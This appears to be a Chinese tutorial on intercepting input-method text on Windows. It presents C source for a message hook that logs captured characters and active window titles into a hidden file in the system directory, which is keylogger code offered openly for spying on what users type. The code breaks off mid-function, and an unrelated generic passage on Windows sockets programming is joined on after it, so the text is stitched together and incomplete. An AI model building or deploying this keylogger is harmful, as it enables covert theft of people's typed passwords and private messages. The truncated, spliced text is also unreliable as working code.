基于Visual C++实现输入法拦截

 

我们想知道用户输入了什么吗,

那么我们可以拦截输入法吗,当然可以

我们先实现钩子

#include "windows.h"
#include "imm.h"
#include "stdio.h"

//#define HOOK_API __declspec(dllexport) 

HHOOK        g_hHook            = NULL;        //hook句柄
HINSTANCE  g_hHinstance    = NULL;        //程序句柄
HWND         LastFocusWnd  = 0;//上一次句柄,必须使全局的
HWND         FocusWnd;         //当前窗口句柄,必须使全局的  

char title[256];              //获得窗口名字 
char *ftemp;                //begin/end 写到文件里面
char temptitle[256]="<<标题:";  //<<标题:窗口名字>>
char t[2]={0,0};              //捕获单个字母
void writefile(char *lpstr)
{//保存为文件
	FILE* f1;
	char cmd[256];
	GetSystemDirectory(cmd,256);
    strcat(cmd,"\\hooktxt.txt");
    f1=fopen(cmd,"a+");
    fwrite(lpstr,strlen(lpstr),1,f1);
    fclose(f1);
}
void writtitle()
{//保存当前窗口
	FocusWnd = GetActiveWindow();
	if(LastFocusWnd != FocusWnd)
	{
		ftemp="\n---------End----------\n";
		writefile(ftemp);
		ftemp="\n--------begin---------\n";
		writefile(ftemp);
		GetWindowText(FocusWnd, title, 256);  //当前窗口标题
		LastFocusWnd = FocusWnd;
		strcat(temptitle,title);
		strcat(temptitle,">>\n");
		writefile(temptitle);
	}
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{ 
    PMSG pmsg 
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精通Windows sockets网络开发是指掌握在Windows平台上使用sockets进行网络编程的技能。基于Visual C实现源码,可以使用Visual C++集成开发环境(IDE)进行开发。以下是大致的步骤和要点: 1. 准备工作:确保安装了Visual C++ IDE,了解基本的C++编程知识和Windows操作系统的网络概念。 2. 创建项目:在Visual C++中创建一个新的空项目,并选择一个合适的名称。 3. 导入相关头文件和库:在项目中包含Winsock2.h头文件,并链接Ws2_32.lib库,以便在程序中使用Windows sockets相关函数和结构。 4. 初始化Winsock库:在程序开始时,调用WSAStartup函数初始化Winsock库。 5. 创建套接字:使用socket函数创建一个套接字,指定套接字的类型和协议。常见的类型有TCP套接字(SOCK_STREAM)和UDP套接字(SOCK_DGRAM)。 6. 绑定套接字:使用bind函数将套接字绑定到指定的本地IP地址和端口号。 7. 监听连接请求(TCP):如果是TCP套接字,可以使用listen函数开始监听连接请求。 8. 接受连接请求(TCP):使用accept函数接受客户端的连接请求,并返回一个新的套接字,用于与客户端进行通信。 9. 发送和接收数据:使用send和recv函数向客户端发送数据和接收数据。 10. 关闭套接字:使用closesocket函数关闭套接字。 11. 清理Winsock库:在程序结束时,调用WSACleanup函数清理Winsock库的资源。 以上是一个基本的网络编程流程,可以根据具体需求进行相应的开发和调整。要成为精通Windows sockets网络开发,需要积累实际项目经验和深入理解网络协议和原理。

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